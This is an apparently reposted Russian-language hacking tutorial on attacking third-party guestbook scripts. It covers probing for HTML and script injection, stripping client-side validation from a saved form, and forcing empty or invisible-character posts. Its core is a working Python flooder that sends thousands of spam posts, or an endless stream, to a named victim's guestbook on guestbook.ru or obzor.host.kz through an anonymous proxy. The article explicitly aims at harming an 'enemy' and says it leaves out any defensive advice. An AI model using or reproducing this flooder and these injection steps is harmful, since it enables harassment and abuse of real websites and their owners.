Как разблокировать аккаунты, защитить компьютер и стать хакером
Полезные инструменты

Ваш IP

Узнай свой IP адрес

Проверить сайт

Test tools by WebSitePulse

Генератор MD5

1. Введите строку Строка:


2. Копировать MD5:

Реклама

интернетВ данной статье я расскажу о поиске и использовании уязвимостей, присущих
большинству сценариев гостевых книг, доступных в сети. Статья будет состоять из
трех частей. В первой из них будут объяснены основные методы исследования
сценария, исходный код которого недоступен. В двух других частях, которые
появятся в последующих номерах журнала, будет описан процесс идентификации
уязвимостей в исходном коде и атаки страницы управления гостевой книгой,
соответственно. Я понимаю, что идея не нова, но поскольку подобные вопросы часто
задают, я решил составить документ, который бы раз и навсегда с этим покончил.
Здесь не будет рекомендаций по обезопасиванию своих программ от этого вида атак,
но внимательный программист сам поймет, что ему может угрожать и как это
предотвратить.
Итак, поехали, представим что перед вами гостевая книга вашего недруга, имеющая
неизвестное происхождение [ в большинстве случаев самописная ]. Вы были бы не
прочь сделать с ней что-нибудь плохое. Что?? Целиком зависит от самой книги.
Рассмотрим возможности в порядке критичности.
1. Выполнение произвольных команд/чтение произвольных файлов.
2. Получение административного доступа к гостевой книге.
3. Выполнение client-side кода [ HTML, JS, VB, etc ].
4. Выполнение server-side кода [ SSI, PHP, etc ]
5. Флуд.
6. Скроллеры.
7. Анонимные/пустые сообщения.
Отложим, первые две возможности по некоторым причинам. Во-первых, в большинстве
случаев, трудно выявить возможность выполнения команд или чтения файлов, не имея
на руках исходного кода, хотя бывают и исключения. Получение административного
доступа было решено рассмотреть в последующих частях документа. Поэтому эти две
темы не будут здесь рассмотрены.
Выполнение client-side кода
—————————
Чтобы выяснить, язвим ли сценарий гостевой книги к вставке кода, выполняющегося
на стороне клиента, достаточно вставить в каждое из полей формы примерно
следующую строку:

test

Если хоть один из параметров формы не проверяется на наличие подобных значений,
то вы увидите слово `test’ крупным шрифтом. По большому счету, максимум что вы
можете из этого извлечь, это вставка картинок неприличного содержания, ссылок и
прочего. Можно приукрасить все это выполнением JavaScript или VisualBasic
Script. В сети доступно бесчиленное количество примеров злого кода, способного
выполнить нужные вам действия на машине незадачливого пользователя. Особенно
советую посетить такие сайты как guninski.com и malware.com
Большинство гостевых книг имеет лишь два обязательных поля — Имя и Сообщение,
среди дополнительных полей обычно выступают E-mail, адрес web-сайта, город, etc.
Так вот, именно эти необязательные поля чаще всего не проверяются сценарием,
поэтому обратите на них большее внимание.
Иногда бывает, что сценарий позволяет вам передавать такие тэги как , ,
etc но не позволяет использовать
Первым в глаза бросается этот кусок кода страницы. Давайте посмотрим, что делает
эта функция checkFields(), хотя о ее назначении можно догадаться даже по
названию. Итак, она проверяет, чтобы поля формы signer и comments были не
пустыми, а также чтобы значение в поле comments не превышало размера в 2kb.
Законно полагать, что удаление вызова этой функции из сохраненной нами страницы
позволит нам обойти эти ограничения. Удалим из нашей страницы все лишнее,
оставив только то, что необходимо:

Personal Pages Guestbook

Ваше имя:
Комментарии:






Здесь в параметре action тэга нам необходимо указать полный URL сценария
гостевой книги, а также указать логин вашего неприятеля в качестве значения
скрытого поля user.
Как вы можете видеть, у нас осталась только голая форма с двумя обязательными
полями и кнопкой. Попробуем отправить ее, не заполняя. Однако, как вы позже
увидите, наши предположения не подвердились, и разработчики предусмотрели этот
шаг. Сценарий book.php вывел сообщение об ошибке: `Ошибка: Вы должны оставить
комментарий и представиться!'. Кстати сказать, попытка вставки HTML-кода в поля
формы тоже ни к чему не приведет - сценарий заменяет символы < и > на < и
>, соответственно. Вероятно, при помощи функций PHP *_replace(). Зато таким
образом мы обходим ограничение на размер сообщения.
В то же время мы видим, что сценарий не запрещает записывать несколько одинковых
сообщений за короткий промежуток времени, что оставляет возможность флуд-атаки.
Еще раз рассмотрим оставшуюся часть кода и элементы формы - это необходимо нам
для составления корректного URI для нашей программы-флудера. Если вы не
настолько опытны, чтобы `видеть' этот URI, исходя из названий и значений полей
формы, то вы можете поступить проще. Найдите открывающий тэг и внутри
него установите значение объекта method равным `GET' вместо `POST'. Теперь, при
попытке отправить данные формы, в адресной строке своего браузера вы увидите
примерно следующее:

http://www.guestbook.ru/book.php?signer=&comments=&user=nomer0&action=post

Здесь параметр signer содержит имя посетителя гостевой книги, оставляющего
сообщение; параметр comments содержит собственно сообщение; user - это учетная
запись хозяина гостевой книги [ в данном случае nomer0 ], а action - это тип
действия.
Обратите внимание, что, поскольку мы отправляли пустую форму, то параметры
signer и comments содержат пустые значения. Теперь приступим к написанию флудера:

--------- flooder.py ---------

#! /usr/bin/env python
###
#
# flooder for guestbook.ru book.php script
# by euronymous /f0kp
#
###

import os
import urllib
# если вы хотите посылать запросы через прокси-сервер,
# раскомментируйте эту строку и пропишите реальный прокси
# os.environ['http_proxy']="http://some.anonymous.proxy:3128"
url = 'http://www.guestbook.ru/book.php'
book_id = 'victim_book' #идентификатор гостевой книги
fname = '3v1l_fl00d3r' # наше имя
fpost = '''
I just wanna say about authors lameness!!
I just wanna say about authors lameness!!
I just wanna say about authors lameness!!
'''
qs = 'signer='+fname+'&comments='+fpost+'&user='+book_id+'&action=post'
fl = 1
while fl in xrange(1,10000):
fl = fl + 1
urllib.urlopen(url, qs)
else:
print 'All done!!'
Теперь вам нужно немного изменить эту программу. В частности, если вы планируете
использовать прокси-сервер, то вам нужно раскомментировать соответствующую
строку и вместо `http://some.anonymous.proxy:3128' указать реально существующий
рабочий анонимный прокси-сервер и его порт.
Переменную url вам необходимо оставить без изменений, поскольку она одинакова
для всех пользователей гостевых книг от guestbook.ru
В переменной book_id вам необходимо указать идентификатор, под которым гостевая
книга зарегистрирована в системе guestbook.ru
Переменные fname и fpost - это имя пользователя и текст сообщения, которые будут
фигурировать в этой гостевой книге, соответственно. Вы можете написать там что
захотите или оставить как есть.
Также обратите внимание на цикл while: в качестве параметра, передаваемого
функции xrange() передается диапазон значений - в данном случае 1-10000. То
есть, работа программы прекратится лишь тогда, когда будет отправлено 10000
сообщений [ или когда вы нажмете Ctrl+C ]. Вы можете изменить второй аргумент
функции в соответствии вашим нуждам. А можете изменить условие цикла.. Например,
напишите что-то вроде:
while 1==1:
urllib.urlopen(url, qs)
И цикл будет исполняться до тех пор, пока условие будет истинно. Так как 1 = 1,
то, стало быть, цикл будет исполняться бесконечно.
Теперь сохраняйте код в файле flooder.py, копируйте его на свою удаленную
оболочку, делайте его исполняемым:
$ chmod +x flood.py
и запускайте:
$ ./flood.py
Затем открывайте гостевую книгу вашего недруга и наблюдайте как она заполняется
вашими ядовитыми высказываниями.
Легкая модификация программы делает ее годной практически для любой гостевой
книги. Вот, к примеру, переменные url и qs для гостевых книг от службы

http://obzor.host.kz:

url = 'http://obzor.host.kz/guestes/guest.php?ids=28'
qs = 'name=++&mess='+fpost+'&add=%CE%F2%EF%F0%E0%E2%E8%F2%FC'
Здесь, в значении переменной url вам необходимо изменить параметр ids с 28 на
идентификатор вашего неприятеля.
Конечно, наш флудер можно было бы обвешать массой дополнительных примочек, но
это останется в качестве вашего домашнего задания. Моя задача - показать
основной принцип.
Скроллеры
---------
Недостатком, наличествующим в подавляющем большинстве гостевых книг, который
может существенно омрачить внешний вид странички является отсутствие ограничений
на размер слова. То есть, если мы, к примеру в поле ввода текста сообщения
введем строку, состоящую из 300 символов `A', неразделенных пробелами, то она
уйдет за границы видимой области экрана, вызвав появление скроллеров [ или полос
прокрутки браузера ], что выглядит очень неприятно. Попробуйте изменить значение
переменной fpost в сценарии flooder.py следующим образом:
fpost = 'f' * 300
Анонимные/пустые сообщения
--------------------------
Ну и последний на этот раз рецепт. Иногда хочется, а иногда просто необходимо
отправить сообщение без подписи, или с пустым телом сообщения. В большинстве
случаев это очень просто реализуется. Например, чтобы отправить пустое сообщение
в гостевую книгу от guestbook.ru, вам необходимо ввести по одному символу
пробела в каждое поле формы. Как вы могли видеть выше, сценарий book.php
проверяет, чтобы значения этих полей не были пустыми. Наличие в них пробела
удовлетворяет условию, даже не смотря на то, каким будет конечный результат.
В других книгах, таких как от obzor.host.kz и on.ufanet.ru такой фокус не
пройдет, но пройдет другой. В качестве своего имени или тела сообщения укажите
один из неотображаемых браузером символов, такой как  . Для браузеров
Internet Explorer сгодится и ­. Естесственно, все эти приемы могут
комбинироваться с вашей программой-флудером.
Это пока и все что я хотел сказать. Если у вас появились какие-либо вопросы,
замечания или предложения, я с радостью отвечу на них в своем форуме. Удачи!!

Скорость печати
Набирайте отображаемый текст и вы узнаете вашу скорость набора текста


Рейтинг@Mail.ru


Copyright © 2025 Как разблокировать аккаунт. Все права защищены.